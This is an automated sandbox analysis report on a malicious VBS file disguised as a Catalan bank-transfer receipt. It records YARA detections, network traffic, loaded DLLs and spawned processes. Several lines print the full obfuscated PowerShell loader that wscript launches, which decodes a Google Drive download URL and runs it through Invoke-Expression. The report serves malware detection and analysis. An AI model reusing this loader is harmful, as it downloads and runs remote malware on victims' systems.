Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 142.250.105.102:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.7:49702 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7180.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7180, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6817
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6817			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FFAAC3400AD

3_2_00007FFAAC3400AD

Source: justificant de transfer#U00e8ncia.vbs

Initial sample: Strings found which are bigger than 50

Source: amsi64_7180.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7180, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal96.expl.evad.winVBS@6/6@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Colouration.Afh

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_550yl205.cft.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: justificant de transfer#U00e8ncia.vbs	ReversingLabs: Detection: 26%
Source: justificant de transfer#U00e8ncia.vbs	Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Colouration.Afh && echo $"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Colouration.Afh && echo $"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
